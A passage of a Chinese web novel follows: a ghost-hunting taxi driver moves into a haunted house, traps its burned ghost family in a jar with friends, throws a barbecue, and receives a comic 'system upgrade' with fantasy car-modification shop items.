这栋房子,正是古德通过纸扎陈介绍的中介,昨天刚刚敲定买下的新家。
一栋价格低到令人咋舌的凶宅。
原房主因为家里接连发生怪事,急于脱手,报价几乎只有市场同类房产的三分之一。
对于普通人来说,这价格再低也不敢要,但对古德而言,这简直是天上掉馅饼!
凶宅?那不是更好!
省下的钱够他买多少朱砂黄纸和修炼材料?
至于房子里的“原住民”……古德巴不得它们有点道行,那都是送上门的阴德大礼包啊!
等他搬进去,好好打扫一番,说不定还能有意外收获。
于是,在等待系统升级的无聊日子里,古德决定提前开始搬家整理工作。
他一个电话,召来了一群“免费的劳动力”。
上午十点左右,两辆红色的士一前一后,缓缓驶入了小洋楼略显荒芜的庭院门前。
除了古德自己那辆熟悉的座驾,另一辆的司机是马季。
他虽然加入了特别事务科,但实在舍不得开了这么多年的出租车,经过协商,谢潮给他安排了一个“灵活机动”的岗位。
白天照常开车,随时待命支援各区可能出现的零星灵异事件,晚上下班后则允许他继续跑车赚点外快。
用马季的话说,“还是喜欢在车上吃瓜的感觉”。
两辆车门打开,呼啦啦下来一大群人,顿时让冷清的小院热闹起来。
谢潮依旧是一身黑色皮衣,表情酷酷的。
马季显得有些腼腆,但眼神里透着对新环境的好奇;石敢当也安静地跟在马季身边,好奇地打量着这栋房子。
莫作栋推了推眼镜,正在嬉皮笑脸的打趣马季;于子朗和姐姐于子晴一边走一边低声交谈,**则背着手,颇有兴致地观察着房子的格局。
郑立和他的女朋友阿红也来了,阿红似乎有些害怕,紧紧挽着郑立的手臂。
众人下车后,便好奇地走进小洋楼,四处参观起来,顺便指指点点,讨论着等会儿大扫除该从哪里入手,哪些角落可能需要重点清理。
古德最后一个下车,他锁好车门,目光却望向来的方向,眉头微蹙,嘀咕道:
“周星星这小子,磨蹭什么呢?说好这个点到的,怎么还没影?”
这时,谢潮走了过来,从口袋里掏出一包烟,递给古德一支。
然后,他看似随意地伸出食指,指尖悄然凝聚起一丝微不可查的色法力。
“噗”的一声轻
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响,谢潮熟练地先给古德点上,再给自己点上。
他脸上依旧是那副冷峻的表情,但眼神深处却闪过一丝不易察觉的得意。
古德何等眼力,立刻就看穿了谢潮这点小心思。
他嘴角微微抽搐了一下,心里好笑:阿潮这家伙外表冷酷,内心还挺闷骚,学会炫技了。
不过,古德还是很给面子地露出惊讶的表情,用力拍了拍谢潮的肩膀,语气夸张地赞叹道:
“我靠!阿潮!可以啊!这才几天没见,你都能用法力点烟了?这进步速度,坐火箭了吧!不愧是异灵灵异部门的顶梁柱,天才就是天才!”
谢潮被古德这么一夸,虽然脸上还是没什么表情,但嘴角似乎微微上扬了0.1度,连忙摆摆手,语气谦虚道:
“哪里哪里,我这微末道行,跟你比起来差远了,连你的十分之一都不到,还得继续努力,继续努力。”
就在两人互相商业吹捧之际,远处传来一阵刺耳的汽车喇叭声。
众人循声望去,只见一辆小型厢式货车晃晃悠悠地开了过来,“嘎吱”一声停在了院子门口。
车门打开,周星星跳了下来。
他今天换了一身休闲的棒球服,戴着副骚包的**镜,嘴里还叼着根棒棒糖,一副痞里痞气的样子。
他冲着古德和谢潮挥挥手,大声道:“德仔!阿潮!不好意思,路上有点堵!
你打包好的那些家当,我都给你装后面了,放心,包得严严实实!我还特意让达叔坐在后面车厢里帮着照看,防止路上颠簸磕坏了你的宝贝!”
古德点了点头,心想周星星这次倒是挺细心,还知道派人押车。
周星星领着古德和谢潮走到货车后面,一边伸手去拉车厢门,一边朝着里面喊道:“达叔!到地方了!可以出来透透气啦!”
“哗啦——”
车厢门被拉开。
然而,里面除了古德那些捆扎好的行李箱子,空空如也!连个鬼影子都没有!
周星星脸上的笑容瞬间僵住,脑袋上仿佛冒出一串问号:“咦?!”
古德看着空荡荡的车厢,沉默了两秒:“……”
谢潮扶了扶墨镜,面无表情地总结:“人呢?”
---------
阴阳路楼下。
曹达华双手一摊:“我又没上车…”
第117章 猛鬼佛跳墙
周星星看着空荡荡的车厢,挠了挠他那头乱发,脸上写满了尴尬和不解,嘀咕道:
“奇了怪了……我明明看着达叔爬进去的呀……这么大个人,还能丢了不成?”
他转头看向古德:“德仔,你这新房子里面,有装电话吗?我打个电话问问达叔跑哪儿去了,或者call他BP机看看。”
古德无奈地摊了摊手:“前房主搬得那叫一个干净,别说电话了,连张像样的椅子都没留下。你想找电话,得自己进去转转看,说不定哪个角落还留着根电话线头。”
就在这时,一直观察四周的谢潮,墨镜后的目光猛地锐利起来,望向院子外围一片半人高的杂草丛,低喝一声:
“谁在那里?!鬼鬼祟祟的!出来!”
话音未落,他身影已如离弦之箭般窜了出去!
动作快得只留下一道残影!
古德心中微微一凛:
“嗯?难道怪谈协会的那些家伙这么快就卷土重来了?刚折损一个鬼王,就又派人来盯梢?胆子也太肥了吧?”
不过,他的担心似乎是多余的。
没过一会儿,就看到谢潮押着一个男人走了回来。
那男人模样颇为狼狈,穿着洗得发白的旧衣服,头发油腻腻、乱蓬蓬的,只剩几根顽强的发丝在风中飘摇。
最引人注目的是他的眼睛。
一只眼睛瞳孔正常,另一只却泛着浑浊的白翳,看起来有些吓人。
他整个人缩着脖子,显得畏畏缩缩。
古德看到这人的形象,愣了一下,心里冒出一个名字:火云邪神?
不对,这气质差远了。
再仔细一看,这长相……是前世的著名演员梁肖龙同位体,就是不知道是他烟哪位角色!
他怎么会出现在这里?还偷偷摸摸的?
谢潮将那人带到古德面前,语气平静地解释道:
“这家伙刚才一直躲在草丛里往这边窥探,被我发现了。他说……这栋房子有问题,不能住人。”
那长得酷似梁肖龙的男人一看到古德,激动地指着小洋楼,声音沙哑地喊道:
“不能住!千万不能住啊!你们快搬走吧!这房子邪门得很!会**的!”
他手舞足蹈,神情激动,看起来活脱脱像个受了刺激的疯子。
古德闻言,反而笑了,他抱着胳膊,一副浑不在意的样子:
“哦?邪门?不就是个凶宅嘛,我知道啊。里面是不是有好兄弟没请走?没关系,我这个人最喜欢热闹了。”
那男人见古德不仅不怕,反而笑嘻嘻的,顿时愣住了,满脸的诧异和不解。
他上下打量着古德和旁边一脸酷酷的谢潮,心里嘀咕:
这两个人听到有鬼还这么淡定,要么是疯子,要么……就是有真本事的!
他浑浊的眼睛里闪过一丝希望的光芒。
他连忙收敛了刚才的激动,努力挺直腰板,试图让自己看起来正经一些,语气也变得严肃起来:
“看来……两位是同道中人,能看见那些东西。鄙人……我叫佛跳墙,就住在离这不远的一座小庙里。看两位也不是很清楚这栋房子的经过……我给两位介绍一下这栋房子吧。唉,也是造孽啊!”
他指着小洋楼,开始讲述那段尘封的惨剧:
“大概十年前,这里住着一家四口。男主人是个唱戏的,后来腿摔瘸了,戏班不要他了,他就变得疑神疑鬼,总怀疑自己貌美的老婆在外面有人。
有一天晚上,他魔怔了,竟然……竟然一把火点了房子!把自己、他老婆,还有两个年幼的孩子……全都……活活烧死在了里面!”
佛跳墙的脸上露出悲悯的神情:
“因为死得太惨,怨气冲天!那男主人的带着他的妻儿,一起化作了极其凶戾的厉鬼,一直困在这房子里!
他们死前被烈火焚烧,痛苦至极,没到一定时间就又会体会死前被烧死的痛苦。
所以死后最大的执念,就是找到一个命格与他们契合的替身,让替身承受他当年的痛苦,他才能解脱,彻底离开这个地方!”
“我师父在世的时候,就看出这里怨气凝聚不散,是大凶之地。他老人家临终前嘱咐我,一定要看住这里,不能让那厉鬼害了无辜的人。
之前也有过几任房主不信邪,装修好了搬进来,结果没住几天就撞鬼了,吓得屁滚尿流地跑了。好在……那厉鬼似乎没找到完全契合的替身,加上有我偶尔的阻挠,才没闹出人命。
但现在的世道,佛道式微,真正的法术都快失传了,我们这些后人……能力有限啊!你们还是听我一句劝,快走吧!”
佛跳墙苦口婆心地劝说着,眼神里充满了真诚的担
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忧。
古德听完这番解释,顿时恍然大悟!
怪不得刚才觉得这人和这房子有点眼熟!
原来是电影《猛鬼佛跳墙》里的剧情!
眼前这个佛跳墙,在电影里就是个半吊子,学的本事杂七杂八,佛不像佛,道不像道,跟他这名字“佛跳墙”一样,乱七八糟一锅炖。
最后消灭厉鬼,靠的还是他师父的骨灰,堪称孝感动天了。
不过他师父的骨灰竟然还能灭鬼,属实也是很奇特的事情了。
他对这个骨灰有些好奇,不过好奇归好奇,他也不可能去挖别人师父的坟。
古德心里虽然觉得好奇,面上却不动声色,他拍了拍佛跳墙的肩膀,语气轻松中带着强大的自信:
“佛跳墙是吧?谢谢你的好意。不过嘛,你没有克制厉鬼的办法,不代表我们也没有。”
他侧身指了指身旁一直沉默不语的谢潮,一本正经地介绍道:
“给你隆重介绍一下,这位,是香江警务处下属特别事务科——异灵灵异部的负责人,谢潮,谢sir!
专门处理这类灵异事件,是官方认证的捉鬼专家!有他在,别说一个厉鬼,就是再来几个,也是顺手收拾了。所以,这房子,我住定了!”
谢潮站在一旁,墨镜下的嘴角忍不住微微抽搐了一下,心里默默吐槽:德仔你这牛皮吹得……又拿我当挡箭牌。
佛跳墙听到“官方捉鬼部门”这几个字,眼睛瞬间瞪得溜圆,那只正常的眼睛里充满了难以置信:
“啊?警……警察还有这种部门?我……我怎么从来没听说过?”
他常年守在这偏僻地方,消息确实闭塞得很。
就在佛跳墙震惊不已,还想再问些什么的时候,小洋楼虚掩的大门内,突然传来了周星星兴奋中带着点神秘的喊声:
“德仔!阿潮!你们俩快别在外面聊天了!赶紧进来!我发现了好东西!绝对让你们大吃一惊!”
古德和谢潮对视一眼,都从对方眼中看到了好奇。
古德对佛跳墙笑了笑:“怎么样,要不要一起进去看看?”
佛跳墙看着两人镇定自若的样子,又听到屋里的喊声,犹豫了一下,最终还是抵不住好奇心,点了点头,跟着古德和谢潮,小心翼翼地走进了这栋他守护了十年、也畏惧了十年的凶宅。
第118章 你是在讲笑话吗
古德一马当先,推开虚掩的房门,迈步走进了小洋楼的一层大厅。
厅内光线昏暗,空气中弥漫着一股陈年灰尘和若有若无的焦糊味。
显然很久没人打理,地板和剩下的家具上都落满了灰。
几个破旧的木箱被搬到了角落,而更引人注目的是,一些唱戏用的行头。
比如色彩斑驳的**、大刀、靠旗等道具,被杂乱地摆放在四周,给这荒废的客厅平添了几分诡异的气氛。
大厅中央,赫然站立着四道身影。
准确地说,是两大两小,周身散发着肉眼可见的、如同黑色丝带般缭绕的阴气,使得周围的温度都降低了不少。
主位上,是一个坐在老式轮椅上的男鬼。
他身形佝偻,浑身皮肤呈现出严重的灼烧溃烂状,焦黑与暗红色交织,脸上五官模糊,唯有一双眼睛闪烁着怨毒的红光。
他便是这惨剧的制造者和主要怨灵瘸腿火鬼。
轮椅旁边,站着一个女鬼,同样浑身是火烧的可怕痕迹,怀里还抱着一个蜷缩成一团、不断发出微弱啼哭的鬼婴。
鬼婴也是浑身焦黑,模样凄惨。
女鬼脚边,还站着一个稍大些的女生鬼魂,同样全身焦黑,低着头,看不清面容,但散发出的阴冷气息却不弱。
古德皱着眉头,上下打量了这“一家四口”,心里忍不住吐槽:
“这模样……也太磕碜了吧!”
他原本还存着一丝幻想,万一这凶宅里的“原住民”有个把长得顺眼的女鬼,说不定还能沟通一下,让男的超度,女的留下来帮忙打扫卫生看看家,也算物尽其用。
结果一看这全员重度烧伤、形象可怖的模样,瞬间什么想法都没了,简直辣眼睛。
房间内,气氛看似紧张,实则完全一边倒。
马季不知何时已经双枪在手,枪口稳稳地指向中央的鬼影,眼神警惕。
石敢当则在他身旁喝着不知道哪里来的奶茶,一脸看戏的模样。
周星星则是一副唯恐天下不乱的样子,不知从哪个箱子里翻出一把唱戏用的红缨大刀,正有模有样地挥舞着,嘴里还哼着不成调的戏曲,看向那四个鬼的眼神里充满了好奇,像是在参观动物园里的稀有动物。
于子朗则护在郑立、阿红、于子晴等普通人身前。
不过这几人因为没开阴阳眼,只能感觉到大厅中央阴风阵阵,温度异常,知道有“东西”在那里,却看不见具体模样,所以害怕是有的,但还不至于惊恐万分,毕竟身边围着这么多专业人士。
周星星一见古德进来,立刻笑嘻嘻地用刀尖指了指中央的鬼魂,邀功似的说道:
“德仔!你来啦!瞧,我够意思吧?帮你把这房子的‘前房主’们都请出来啦!还帮你把地下室那些唱戏的道具也搬上来了!
不过这几个前房主说想跟你这个新房主谈谈事情呢!”
跟在古德身后进来的谢潮,墨镜下的脸毫无波澜,仿佛眼前只是几只不起眼的小虫子。
而最后进来的佛跳墙,看到这一幕,眼珠子都快瞪出来了,满脸的不可思议:
“谈……谈判?鬼还会主动跟人谈判?”
这完全颠覆了他十几年来的认知。
古德闻言,轻笑一声,似乎觉得很有趣。
他径直走到那个坐在轮椅上的男鬼面前,无视对方身上散发的浓郁怨气和灼热感,语气平淡地问道:
“哦?想谈?说说看,你们想怎么谈?”
那轮椅男鬼见古德似乎愿意交流,残缺的脸上挤出一个扭曲而自信的表情,用沙哑漏风的声音说道:
“我能感觉到……你们不是普通人,身上有能伤害我们的东西。但是!我们也不是好惹的!如果你们想强占这里,大不了拼个鱼死网破,谁也别想好过!”
他话锋一转,带着诱惑的语气:
“不过……如果你们愿意帮我们一个小忙,找几个……命格跟我们契合的‘替身’过来,让我们解脱这永世被烈火焚烧的痛苦,我们可以把房子让给你们!
而且,在找到替身之前,我们可以井水不犯河水,相安无事!怎么样?很公平吧?”
古德听完这番自信的发言,先是愣了一下,随即实在忍不住,忽然笑了出来,越笑越大声。
旁边的周星星更是夸张,直接抱着肚子弯下腰,笑得眼泪都快出来了:
“哈哈哈!鱼死网破?还找替身
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?大哥,你是不是还没睡醒啊?哦.....不对,你不用睡,是被火烧坏脑子了吧?”
佛跳墙看着笑得前仰后合的两人,觉得他们比自己还像疯子,完全无法理解这有什么好笑的。
他焦急地对轮椅鬼喊道:“你这恶鬼!休想!我们绝不会帮你害人!”
那轮椅鬼被古德和周星星的笑声激怒,脸上戾气暴涨,狠声道:“那就是没得谈了?!”
古德终于止住笑声,擦了擦眼角笑出的泪花,语气带着浓浓的嘲讽:
“我还以为你在讲单口相声呢,还挺有娱乐精神。”
话音未落!
古德周身骤然爆发出璀璨夺目的金色光芒!
“金光速现,覆护**。”
他右手快如闪电,带着一股无可抗拒的磅礴巨力,一巴掌狠狠抽在了轮椅男鬼那张溃烂的脸上!
“啪!!!”
一声清脆响亮的耳光声回荡在整个大厅!
那轮椅男鬼连鬼带椅子,被这一巴掌抽得直接离地飞起,在空中旋转了七百二十度,才重重摔在地上!
它捂着自己几乎被打变形的脸,发出凄厉至极的惨叫,身上的阴气都被打散了不少!
古德收回手,金光缭绕,眼神冰冷地看着在地上翻滚的男鬼,语气森然:
“叽里呱啦说那么多废话,你以为你谁啊?跟我谈条件?你配吗?”
这突如其来的变故,让轮椅鬼的老婆和女儿脸色剧变,刚要有所动作——
“别动!”
“老实点!”
谢潮和周星星如同心有灵犀,瞬间出手!
谢潮的灭魂2.0**已经顶在了女鬼的额头,周星星也收起了嬉笑,手中的戏谑大刀不知何时换成了同样刻着符文的灭魂2.0,枪口稳稳指向那个小女孩鬼魂的眉心。
周星星还用嫌弃的眼神打量了一下女鬼被烧焦的面容,撇撇嘴道:
“靓女,乖乖别动哦!不然我这**可不长眼睛,万一打歪了,把你打得魂飞魄散,可就没法投胎做人了哦!”
他顿了顿,小声补充了一句,“不过说真的,你们这被烧死的模样……真是有碍观瞻啊。”
局势,在瞬间被彻底掌控。
第119章 系统升级的尾声
那瘸腿火鬼被古德一巴掌扇飞在地,疼得嗷嗷直叫,魂体都黯淡了几分。
它一看这架势,自己这边完全不是对手,连老婆孩子都被人家用枪指着,顿时心生惧意,萌生了退意。
只见它周身阴气猛地一缩,化作一团模糊的黑影,就想往地板里钻,试图遁地逃跑!
“嗯?想跑?”
一直安静守护在马季身边的石敢当,那双清澈的眼中精光一闪,不见他有什么大动作,只是抬起脚,看似随意地往地板上轻轻一跺!
“嗡——!”
那瘸腿火鬼化作的黑影“嘭”的一声被弹了回来,重新显露出狼狈的原形,趴在地上动弹不得,眼中充满了惊恐和绝望。
古德朝石敢当点了点头,这石精灵关键时刻还是很靠谱的。
他环顾四周,看到客厅角落扔着一个落满灰尘的旧瓷瓶,看样子是前房主遗弃的装饰品,正好是这火鬼现在家里的东西,用来收它们,也算物尽其用了。
古德走过去捡起瓷瓶,吹了吹上面的灰。
他右手并指如剑,指尖凝聚起一丝精纯的法力,迅速在瓶底刻画了一个简易却有效的收鬼符。
符成瞬间,瓶身微微一亮,瓶口散发出淡淡的吸力。
那趴在地上的瘸腿火鬼感哀声求饶:
“大师!大师饶命啊!我错了!我真的知道错了!我不要替身了!我再也不敢害人了!求求您高抬贵手,放过我吧!”
古德拿着画好符的瓷瓶,走到它面前,瓶口对准它,语气淡淡的道:
“放心,我这人最讲道理,一般不轻易打得别人魂飞魄散。乖乖进来吧,晚上送你们一家团聚,下去该去的地方。”
说完,他法力微微一催,瓶底的收鬼符光芒一闪!
“噶——!”
那瘸腿火鬼只来得及发出一声短促的怪叫,整个魂体便被一股强大的吸力扯成一道黑烟,“嗖”的一声钻进了瓷瓶里。
古德熟练地用一张早就准备好的黄纸符箓封住瓶口,暂时放在脚边。
接着,他目光转向剩下的三只火鬼。
女鬼和两个孩子。
那女鬼抱着鬼婴,看着古德,犹豫了一下,竟然怯生生地开口哀求道:
“大……大师……能不能……能不能不要把我和我丈夫关在同一个瓶子里?我……我实在不想再见到他了……”
古德闻言,眉头一挑,心里觉得有些好笑:
好家伙,这都变成鬼了,还有家庭矛盾呢?还带挑住宿条件的?
他摆了摆手,直接拒绝了女鬼的要求:
“将就一下吧。反正你们也待不了多久,今天晚上我就找个十字路口把你们一起送下去。都在一起纠缠这么多年了,也不差这最后一天半天的,下去之后各走各的路就是了。”
不等那女鬼再说什么,古德如法炮制,拿起瓷瓶,法力运转,瓶口对准那抱在一起瑟瑟发抖的母女三鬼。
同样是一道吸力传来,三鬼化作黑烟,毫无反抗之力地被收了进去。
古德再次贴上符纸,将瓶子稳稳地放在地上。
他拍了拍手,掸去并不存在的灰尘,轻松地说道:“搞定!收工!”
整个过程行云流水,赏心悦目。
对于如今装备精良、经验丰富、且团队协作默契的古德一行人来说,对付这种怨气虽重但灵智不高的厉鬼,确实已经算不上什么棘手的难题了。
一旁全程目睹的佛跳墙,此刻已经是目瞪口呆,嘴巴张得能塞进一个鸡蛋。
他指着地上那个看似平平无奇的瓷瓶,结结巴巴地问道:
“就……就这样?这……这就解决了?困扰了我师父和我十几年的凶宅厉鬼……就这么……被你们像装豆子一样装起来了?”
周星星看着佛跳墙那副没见过世面的样子,觉得很有趣,凑过去笑嘻嘻地打量着他那身破旧僧不僧、道不道的行头:
“不然呢老兄?你以为要怎么样?开坛斗法七七四十九天啊?时代变啦!对了,哥们儿你哪条道上的?你这身打扮……挺别致啊,很有个性,很潮哦!”
他特意把“潮”字拉长了音。
佛跳墙被周星星说得老脸一红,尴尬地笑了笑,正不知该如何解释自己的来历和这奇怪的名字。
古德适时开口,打断了他们的闲聊:
“好了,有什么话等会儿再说。现在房子里的脏东西已经清理干净了,接下来就是大扫除时间!
劳烦各位兄弟姐妹一起动动手,帮忙把这里打扫干净。等收拾好了,晚上我请客,就在这院子里搞个户外BBQ,啤酒吃的管够!”
周星星一听有烧烤吃,立刻来了精神,虽然嘴上还是嘀咕着:“丟!德仔我要是要吃鲍鱼,龙虾…你今天一顿可不够,还得再请我们一顿。”
但他动作却不慢,已经开始招呼众人:
“来来来!男的扫地拖地,女的擦窗户抹桌子!动起来动起来!早点干完早点开饭!”
古德笑了笑,没理会周星星的吐槽,朋友就是这种时候用来帮忙的嘛。
他走到还有些迷茫的佛跳墙面前,问道:
“佛跳墙,现在这里的厉鬼已经解决了,你守护这里的任务也算完成了。你接下来有什么打算?”
佛跳墙被问得一愣,脸上露出了深深的迷茫。
是啊,他这十几年来的人生目标就是守着这栋房子,防止厉鬼害人,甚至梦想着有朝一日能消灭它。
可现在,目标突然就这么……轻而易举地实现了?
他一下子失去了方向,像个断了线的风筝,不知道接下来该飘向哪里。
他看了看眼前气度不凡、本领高强的古德,又看了看那些忙碌的、同样身怀异能的谢潮等人,心中突然涌起一个念头。
他鼓起勇气,对着古德深深鞠了一躬,恳切地说道:
“古大师!我……我没什么地方可去,也没什么大本事。求您收下我吧!哪怕是给您端茶递水、跑腿打杂,我也愿意!我想跟着您学点真本事!”
古德看着佛跳墙那真诚
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的眼神,心里却暗暗叫苦。
他摸了摸鼻子,心想:
“大哥,不是我不愿意收你,实在是你这尊容……每天对着,多少影响食欲啊。我要找跟班,还不如找个漂亮点的女鬼,起码养眼。”
当然,这话不能直说。
他连忙摆手,把锅甩给了谢潮:
“哎,别别别!佛跳墙你太客气了。我看你底子不错,多少也有些修为和经验。这样,我给你指条明路……你去问问那位谢潮,谢sir。
他是警务处特别事务科的负责人,现在正缺你这样有实践经验的人才。你跟着他,算是正规编制,福利待遇好,还能系统学习,比跟着我强多了!”
说完,不等佛跳墙再纠缠,古德赶紧对正在忙碌的众人喊道:
“阿星!阿潮!这里先交给你们了!我去市场买烧烤的食材和啤酒!”
然后一溜烟地钻回出租车,发动车子就跑了,留下周星星在后面跳着脚比划中指。
……
傍晚时分,夕阳的余晖给白色的小洋楼镀上了一层温暖的金色。
经过大伙儿一番热火朝天的打扫,房子里外虽然还谈不上焕然一新,但已经整洁干净了许多,充满了生活气息。
院子里,支起了两个简易的烧烤架。
炭火已经烧得通红,发出噼啪的轻响。
古德和后来被他特意开车接来的曹达华,当然,接曹达华也是要打表的。
两人正一人守着一个烤架,熟练地翻动着上面的鸡翅、香肠、牛排和各种海鲜。
曹达华虽然胆小,但手艺却是一流,一边烤还一边吹嘘着自己当年当卧底的时候,在街头摆摊的“光辉岁月”。
空气中弥漫着诱人的肉香、炭火气和酱料的辛香。
周星星、谢潮、马季、于子朗等人围坐在铺着一次性桌布的地上,或坐在带来的小马扎上,喝着冰镇啤酒,吃着烤串,聊着天,不时爆发出阵阵笑声。
于子晴、阿红等女孩子则负责洗水果、拌沙拉。
石敢当则竖着耳朵听周星星吹牛。
佛跳墙似乎也被谢潮初步接纳,正有些拘谨地坐在谢潮旁边,听着他们讨论一些案件,脸上渐渐有了新的神采。
这一刻,没有鬼怪,没有争斗,只有朋友间的嬉笑打闹和美食的香气,充满了平凡的烟火气和温馨的友情。
烧烤聚会一直持续到月上中天。
大家酒足饭饱,帮忙收拾好残局后,才各自道别,打车离开。
古德送走所有人,站在焕然一新的小洋楼门口,看着静谧的庭院,深吸了一口带着青草和烧烤余味的空气,心情舒畅。
至于原来阴阳路的那间房子怎么处理,当时是放转转上了……开个玩笑。
当时是放着了。
他暂时不打算卖掉,先放着吧,反正现在也不差那点卖房钱,说不定以后还能派上用场。
他转身走进自己的新家,准备好好享受第一个安稳的夜晚。
而系统升级的倒计时已经接近尾声。
第120章 系统升级
清晨的阳光透过新居的百叶窗,在木地板上投下斑驳的光影。
古德从睡梦中醒来,伸了个懒腰,感觉精神饱满。
他习惯性地在心中默念,唤出了那个半透明的系统面板。
首先映入眼帘的,是面板正中央一个非常显眼的红色数字倒计时:
【系统升级剩余时间:00:09:59】
“哦?只剩不到十分钟了?”
古德挑了挑眉,心里倒是没什么紧张感,反而有点像是等待游戏版本更新的玩家。
他慢悠悠地爬起来,趿拉着拖鞋走进厨房。
“时间刚好,先下碗云吞面吃吃,边吃边等。”
十分钟,煮个面,吃几口,一晃眼就过去了。
当古德正吸溜着最后一根面条时,脑海中准时响起了一声清脆悦耳、仿佛还带着点升级特效音的提示:
“叮——!”
【系统升级完成!】
【鉴于宿主近期在驱邪捉鬼、维护阴阳平衡方面的卓越表现(以及偶尔不忘本职工作开出租车赚公里数的敬业精神),本系统已成功升级为全球捉鬼出租车系统!】
【本次版本更新内容如下,请宿主仔细阅读:】
【1.全球随机传送服务(强制体验版):系统将不定时将宿主连同您的爱车传送至全球任意角落,目标锁定为“身边有鬼物纠缠且急需交通工具的人类乘客”。
为适应不同地区的风土人情(避免太过招摇),出租车外观会自动进行本地化伪装(例如在纽约可能变成黄色出租车,在伦敦可能变成黑色老爷车)。
每次传送服务持续12小时。时间截止后,宿主可选择“一键回城”(返回香江)或“付费续费”(消耗阴德或公里数继续留在当地开展业务)。】
【2.跨国业务里程奖励:在非香港地区成功搭载乘客(人或鬼),最终结算时,所获公里数将乘以3倍!鼓励宿主积极开拓国际市场!】
【3.新增特殊乘客类别:鬼物:现在,鬼魂也可以作为独立乘客被搭载啦!
人类乘客与鬼物乘客的公里数将分开计算。如果您的车上同时载着一人一鬼,那么恭喜您,公里数将享受双倍快乐!(注:鬼物乘车需自愿,强行**无效。)】
【4.车辆绑定与安全升级(免费福利):您的爱车(车牌号:XXXXX)已与系统永久绑定。本次免费升级内容包括:
【车内绝对安全空间】:只要宿主身处出租车内,即可激活该领域。效果:免疫一切来自外部(包括但不限于人类**、鬼物攻击、诅咒、口水等)的物理及灵异伤害。
同时,宿主在车内也无法直接对乘客发动攻击(拳打脚踢、法术轰击等均无效)。温馨提示:解决**,请下车进行,争做文明司机。
【舒适大师座椅】:座椅已升级,自带舒缓按摩功能,有效缓解长途驾驶疲劳。(妈妈再也不用担心我的腰了!)
【5.阴德商城·车辆改装分区开启:宿主现在可以使用辛苦赚来的阴德点数,为您的爱车购买炫酷的改装部件啦!详情请进入商城浏览。】
【本次升级圆满结束!希望宿主再接再厉,努力赚取阴德和公里数,早日将您的出租车升级为阴阳两界第一神车,驾驶它走向人生巅峰!哦耶~!(?2?9?6?1?0?6?9?0?6?1?0?7)?1?2?7?7】
古德默默听完这一长串夹杂着奇怪颜文字和调侃语气的系统公告,眼角忍不住抽搐了几下。
他深吸一口气,在心里吐槽:“你一个正经系统,说话语气能不能稳重一点?还‘哦耶’……你当是电视购物广告吗?”
放下碗筷,古德开始认真复盘系统提到的这些更新内容。
“全球随机传送?还是专门往有鬼的人身边送?”
古德摸着下巴,表情有些复杂,“这摆明了是看我最近在香江地头不务正业,搞出来的‘全球捉鬼出租车’,准备送他去全球出差,还怪贴心的哦!!!”
他内心是拒绝的,他又不是不吃香菜,给他搞个全球飞的服务是啥意思。
而且天知道会被传到什么鬼地方?非洲部落?亚马逊雨林?还是战火纷飞的中东?
他只想安稳地开开车,抓抓本地鬼,赚点小钱钱而已。
可惜,系统的安排,他没得选。
不过,其他几个更新项,倒是让他眼前一亮。
“载鬼也能算公里数了?这个好!”
古德心想,“要是早点有这功能,之前送岚婆‘回家’那趟,岂不是能赚双份?对了,岚婆上次还给了一张冥钞当车费,一直忘了研究,下次得问问她这玩意儿有啥用。”
“车内安全空间……这个简直是神技!”
古德对此非常满意,“以后就算被传到再危险的地方,只要躲在车里,就是绝对安全的!这样去国外,也不怕某些不讲武德的黑哥们掏出枪来**他了!当然,想揍人也得先下车……有点麻烦,但能保命才是王道。”
最后,他的目光落在了新开启的【阴德商城·车辆改装】上。
好奇心驱使下,他再次唤出系统面板。
首先显示的还是他的个人属性面板,没什么变化:
【姓名:古德】
【体质:8/10】(身体倍棒,吃嘛嘛香)
【魅力:8/10】(小伙挺帅,鬼见犹怜)
【精神:8/10】(头脑清醒,熬夜不慌)
【法力:5/∞】(路漫漫其修远兮,加油!)
【可用属性点:800.3】(太少了,也不知道多攒点)
【当前阴德:210/30000】(穷,非常穷)
【技能】金光咒LV3.....等一大堆技能。
【阴德商城】
古德忍不住再次吐槽,这系统升级一下,怎么变调皮了。
接着他意念一动,点开了那个新出现的【阴德商城·出租车升级选项】。
一个充满科技感的界面弹了出来,上面罗列着各种令人流口水的改装部件,每个部件下面都标注着令人心碎的阴德价格:
【大灯组件】:亮瞎阴阳钛合金狗眼大灯
描述:你见过真正的光吗?此灯一开,不仅能照亮阳间前路,更能让一切妖魔鬼怪无所遁形,附带短暂致盲(对鬼有效)效果!升级需阴德:1000点。
【发动
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机核心】:鬼火少年究极版引擎
描述:百公里加速?太慢了!我们玩的是两百米加速只需一秒!瞬间推背感让你体验飞一般的感觉,秋名山车神见了你都得递烟!升级需阴德:2000点。
【座椅系统】:逍遥云端按摩椅
描述:自带十八种按摩模式,冬暖夏凉,久坐不累,让你爱上开车,乐不思蜀。(已免费升级,系统赠送)
【后备箱空间】:乾坤一掷百宝箱
描述:外表看起来只是个普通后备箱?错!内藏须弥空间,别说捉鬼工具,就算你想把整个家当塞进去野外生存都没问题!升级需阴德:2000点。
【车载电台】:幽冥直通车广播
描述:能收听到地府官方频道、奈何桥交通台、枉死城点歌台等特殊频率。想知道地府最新动态?想跟下面的大佬唠嗑?选它!升级需阴德:5000点。(注:调频也需要阴德哦。)
【油箱模块】:聚宝盆永动油箱
描述:加满一次油,能让你绕着地球跑一圈!彻底告别加油站,省时省力不省钱!升级需阴德:1000点。
古德面无表情地扫完这一排令人心动的选项,然后默默地关掉了界面。
东西都是好东西,每一个都让他眼馋。
但是……穷啊!
看看自己面板上那可怜的210点阴德,再看看动辄上千的标价,古德深刻地体会到了什么叫“一分钱难倒英雄汉”。
“原来系统升级是把之前攒的阴德一次性清空了?下次升级居然要三万点?!”
古德感到一阵牙疼,“这哪是什么出租车系统,这分明是牛马养成系统!逼着我007全年无休去抓鬼啊!”
说起阴德,古德忽然想起那只被送去岚婆那里的“鬼王”。
他赶紧在系统记录里查询了一下上次超度的具体收益。
查询结果很快显示出来:
【成功超度摄青鬼(虚)x1,扣除团队协作分成(谢潮、周星星)及中介手续费(岚婆)后,宿主实际获得:600点。】
【额外超度相关怨灵若干,累计获得阴德:320点。】
【总计上次任务收获:920点(已用于系统升级)。】
“摄青鬼?”古德愣了一下,随即撇撇嘴。
“切,还以为真是鬼王呢,原来是个摄青鬼,离鬼王还差得远!那家伙自称鬼王,脸皮可真厚。”
不过转念一想,摄青鬼确实比普通厉鬼厉害多了,价值1800多点阴德也算合理。
三人平分,加上岚婆抽成,自己能拿600点已经不错了。
那些小鬼零零碎碎加起来也有320点,算是数量弥补了质量。
